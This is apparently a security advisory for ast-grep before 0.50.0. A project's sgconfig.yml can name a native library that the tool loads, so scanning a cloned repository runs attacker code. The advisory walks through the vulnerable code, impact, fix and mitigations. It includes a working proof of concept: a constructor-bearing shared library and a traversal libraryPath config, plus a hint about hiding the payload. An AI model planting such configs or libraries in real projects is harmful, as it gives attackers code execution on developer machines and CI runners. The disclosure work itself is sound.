Description

ast-grep is a Rust tool for structural code search, lint and rewrite. Besides its built-in languages, it can load extra tree-sitter grammars that a project declares under customLanguages in sgconfig.yml. Each entry names a native shared library through libraryPath, and ast-grep dlopens that library to get the parser.

Before 0.50.0, the path came straight from the config file and was joined to the project directory with no confinement. to_registration at 0.45.3 (crates/dynamic/src/custom_lang.rs:42-51):

fn to_registration(
  name: String,
  custom_lang: CustomLang,
  base: &Path,
) -> Result<Registration, DynamicLangError> {
  let lib_path = match custom_lang.library_path {
    LibraryPath::Single(path) => path,
    LibraryPath::Platform(mut map) => {
      let target = target_triple::TARGET;
      map
        .remove(target)
        .ok_or(DynamicLangError::NotConfigured(target))?
    }
  };
  let path = base.join(lib_path);

base is the project directory. Path::join with an absolute path replaces the base entirely, and .. components walk out of it. The result goes to the dynamic loader unchanged (crates/dynamic/src/lib.rs:182):

// lib must be retained!!
let (_lib, lang) = unsafe { load_ts_language(reg.lib_path, reg.symbol)? };

There is no canonicalization, no containment check, and no user opt-in for loading executable plugins from the workspace.

The path traversal makes it worse, but it is not the root of the problem. A library inside the project directory is just as dangerous. Loading a shared library runs its constructors, so whoever writes sgconfig.yml gets native code execution in the ast-grep process. And sgconfig.yml is discovered automatically from the working directory: running ast-grep scan in a freshly cloned repository is enough. Linting code you did not write is the tool's main use case, so a read-only lint step ends up running machine code that the repository supplies.

Reproduction

From the advisory, verified against the ast-grep 0.45.3 release binary. The attacker's repository, with the library placed one level outside the project to show the ../ escape:

mkdir -p proj evil && cd proj
cat > ../evil/evil.c <<'EOF'
#include <stdio.h>
__attribute__((constructor))
static void on_load(void) {
    FILE *f = fopen("/tmp/sg_pwned_marker", "w");
    if (f) { fputs("native code executed\n", f); fclose(f); }
}
EOF
gcc -shared -fPIC ../evil/evil.c -o ../evil/evil.so
cat > sgconfig.yml <<'EOF'
customLanguages:
  evil:
    libraryPath: ../evil/evil.so
    extensions: [evil]
EOF
echo "int x = 1;" > t.evil

The victim runs a plain scan, with no flags:

$ ast-grep scan
Error: Cannot load custom language library
...
/tmp/sgpoc/evil/evil.so: undefined symbol: tree_sitter_evil

$ cat /tmp/sg_pwned_marker
native code executed

The error shows up only after the payload has already run. dlsym fails because the library exports no tree_sitter_evil symbol, but dlopen has already called the constructor by then. A real attack would export the symbol too (or wrap a real grammar), and the scan would succeed with no visible sign at all. An absolute libraryPath, for example pointing at a file dropped by some other download, loads the same way.

Impact

Arbitrary native code execution as the victim user (CWE-94), through a config-controlled library path (CWE-22) that ast-grep loads and calls into (CWE-822). It triggers whenever someone runs ast-grep inside a repository an attacker controls:

  • Developers cloning a project and running ast-grep scan or ast-grep run to look around or review a change.
  • CI jobs that lint pull requests from forks with ast-grep. The code runs with the job's credentials and tokens.
  • Editor setups that start ast-grep lsp in the opened workspace, since the language server reads the same project config.

The advisory scores it CVSS 3.1 9.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H): the payload ships over the network inside a repository, the only user interaction is running the linter, and the code it runs is not limited to ast-grep's own scope.

Solution

Fixed in 0.50.0. Instead of trying to confine libraryPath, the fix makes loading native custom languages opt-in, so an untrusted project cannot load anything by default. It landed in three steps:

  • ast-grep/ast-grep#2960 moved custom-language registration until after CLI parsing and blocked native libraries unless the user passed an explicit flag. --help and shell completion generation also stopped loading them.

  • ast-grep/ast-grep#2971 replaced that flag with --custom-languages allow|ignore, with ignore as the default. When a project declares custom languages that get ignored, the CLI warns instead of failing:

    Warning: custom languages are ignored because native libraries can execute
    malicious code. Review the project before using `--custom-languages allow`.
    
  • ast-grep/ast-grep#2972 added trust and revoke. trust asks for confirmation in an interactive terminal (and refuses to run without one), then stores the canonical path of the config file in a per-user trust store under the platform config directory. Later runs in that project load its custom languages without the flag; --custom-languages ignore overrides that for one run, and revoke removes the entry.

The policy resolution in crates/cli/src/custom_language.rs:73 at 0.50.0:

match policy {
    Some(CustomLanguagePolicy::Trust) => {
      eprintln!(
        "WARNING: native custom languages execute code with your permissions. \
ast-grep remembers the configuration path, not its contents."
      );
      confirm_trust(config_path)?;
      set_trusted(config_path, true)?;
      Ok(CustomLanguageAction::Load)
    }
    Some(CustomLanguagePolicy::Revoke) => {
      set_trusted(config_path, false)?;
      Ok(CustomLanguageAction::Ignore)
    }
    None if is_trusted(config_path) => Ok(CustomLanguageAction::Load),
    Some(CustomLanguagePolicy::Allow) => Ok(CustomLanguageAction::Load),
    Some(CustomLanguagePolicy::Ignore) | None => Ok(CustomLanguageAction::Ignore),
}

As that warning says, trust is tied to the config path, not its content. If you trust a project and later pull changes to its sgconfig.yml, the new libraryPath loads without a prompt. Trust only checkouts whose config you control, and do not use allow or trust in CI jobs that run on pull requests from forks.

Upgrade to 0.50.0 or later. If you cannot upgrade, do not run ast-grep in a repository you have not reviewed, and check sgconfig.yml for a customLanguages section before you run it. In CI, run ast-grep with an explicit --config that points to a trusted file outside the checkout.

Timeline

  • 2026-09: Reported privately through the repository's GitHub security advisory (GHSA-xx6h-xcfw-vf5j), found while scanning popular repositories with my static analyzer.
  • 2026-09-23: Opt-in for custom language libraries merged as ast-grep/ast-grep#2960.
  • 2026-09-28: --custom-languages allow|ignore policy merged as ast-grep/ast-grep#2971.
  • 2026-10-04: trust and revoke policies merged as ast-grep/ast-grep#2972.
  • 2026-10-09: ast-grep 0.50.0 released with the fix.
  • 2026-10-13: Advisory published. ast-grep before 0.50.0 is affected; 0.50.0 is patched.

References